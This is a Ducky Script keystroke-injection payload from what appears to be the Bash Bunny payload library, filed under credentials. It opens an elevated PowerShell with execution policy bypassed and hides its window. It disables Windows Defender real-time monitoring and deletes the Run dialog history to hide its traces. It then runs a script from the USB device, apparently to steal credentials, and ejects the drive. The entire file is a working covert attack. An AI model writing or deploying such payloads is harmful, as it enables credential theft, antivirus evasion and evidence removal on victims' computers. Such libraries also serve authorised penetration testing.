bashbunny-payloads/payloads/library/credentials/ducked/duck_code.txt

DELAY 5000
GUI d
DELAY 1200
GUI r
DELAY 1200
STRING powershell -nologo -noni -ep bypass
CTRL-SHIFT ENTER
DELAY 2000
LEFT
DELAY 1000
ENTER
DELAY 1000
STRING mode con:cols=100 lines=1
ENTER
DELAY 500
STRING Set-MpPreference -DisableRealtimeMonitoring $true
ENTER
DELAY 1000
STRING REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
ENTER
DELAY 200
STRING $usb = (gwmi win32_volume -f 'label="BASHBUNNY"').Name; powershell -nologo -noni -ep bypass -File $usb\payloads\switch1\run.ps1
ENTER
DELAY 35000
STRING function eject {$driveEject = New-Object -comObject Shell.Application;$driveEject.Namespace(17).ParseName("$usb").InvokeVerb("Eject")}
ENTER
DELAY 1000
STRING echo "Successful PWNd..."
ENTER
DELAY 1000
STRING eject
ENTER
DELAY 1000
STRING Set-MpPreference -DisableRealtimeMonitoring $false
ENTER
DELAY 1000
STRING exit
ENTER